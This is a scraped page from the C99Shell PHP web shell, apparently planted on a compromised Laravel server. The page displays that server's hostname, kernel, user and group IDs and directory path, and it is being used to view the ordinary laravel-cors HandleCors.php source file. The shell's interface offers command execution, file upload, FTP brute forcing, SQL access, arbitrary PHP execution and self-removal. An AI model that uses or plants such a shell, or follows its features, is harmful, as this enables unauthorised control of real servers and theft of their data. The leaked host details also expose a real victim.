!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/multirest.picotech.app/public_html/vendor/fruitcake/laravel-cors/src/   drwxr-xr-x
Free 28.55 GB of 117.98 GB (24.2%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HandleCors.php (3.89 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Fruitcake\Cors;

use 
Closure;
use 
Asm89\Stack\CorsService;
use 
Illuminate\Contracts\Http\Kernel;
use 
Illuminate\Foundation\Http\Events\RequestHandled;
use 
Illuminate\Http\Request;
use 
Illuminate\Contracts\Container\Container;
use 
Symfony\Component\HttpFoundation\Response;

class 
HandleCors
{
    
/** @var CorsService $cors */
    
protected $cors;

    
/** @var \Illuminate\Contracts\Container\Container $container */
    
protected $container;

    public function 
__construct(CorsService $corsContainer $container)
    {
        
$this->cors $cors;
        
$this->container $container;
    }

    
/**
     * Handle an incoming request. Based on Asm89\Stack\Cors by asm89
     *
     * @param  \Illuminate\Http\Request  $request
     * @param  \Closure  $next
     * @return Response
     */
    
public function handle($requestClosure $next)
    {
        
// Check if we're dealing with CORS and if we should handle it
        
if (! $this->shouldRun($request)) {
            return 
$next($request);
        }

        
// For Preflight, return the Preflight response
        
if ($this->cors->isPreflightRequest($request)) {
            
$response $this->cors->handlePreflightRequest($request);

            
$this->cors->varyHeader($response'Access-Control-Request-Method');

            return 
$response;
        }


        
// Handle the request
        
$response $next($request);

        if (
$request->getMethod() === 'OPTIONS') {
            
$this->cors->varyHeader($response'Access-Control-Request-Method');
        }

        return 
$this->addHeaders($request$response);
    }

    
/**
     * Add the headers to the Response, if they don't exist yet.
     *
     * @param Request $request
     * @param Response $response
     * @return Response
     */
    
protected function addHeaders(Request $requestResponse $response): Response
    
{
        if (! 
$response->headers->has('Access-Control-Allow-Origin')) {
            
// Add the CORS headers to the Response
            
$response $this->cors->addActualRequestHeaders($response$request);
        }

        return 
$response;
    }

    
/**
     * Add the headers to the Response, if they don't exist yet.
     *
     * @param RequestHandled $event
     * @deprecated
     */
    
public function onRequestHandled(RequestHandled $event)
    {
        if (
$this->shouldRun($event->request) && $this->container->make(Kernel::class)->hasMiddleware(static::class)) {
            
$this->addHeaders($event->request$event->response);
        }
    }


    
/**
     * Determine if the request has a URI that should pass through the CORS flow.
     *
     * @param  \Illuminate\Http\Request  $request
     * @return bool
     */
    
protected function shouldRun(Request $request): bool
    
{
        return 
$this->isMatchingPath($request);
    }

    
/**
     * The the path from the config, to see if the CORS Service should run
     *
     * @param \Illuminate\Http\Request $request
     * @return bool
     */
    
protected function isMatchingPath(Request $request): bool
    
{
        
// Get the paths from the config or the middleware
        
$paths $this->getPathsByHost($request->getHost());

        foreach (
$paths as $path) {
            if (
$path !== '/') {
                
$path trim($path'/');
            }

            if (
$request->fullUrlIs($path) || $request->is($path)) {
                return 
true;
            }
        }

        return 
false;
    }

    
/**
     * Paths by given host or string values in config by default
     *
     * @param string $host
     * @return array
     */
    
protected function getPathsByHost(string $host)
    {
        
$paths $this->container['config']->get('cors.paths', []);
        
// If where are paths by given host
        
if (isset($paths[$host])) {
            return 
$paths[$host];
        }
        
// Defaults
        
return array_filter($paths, function ($path) {
            return 
is_string($path);
        });
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0036 ]--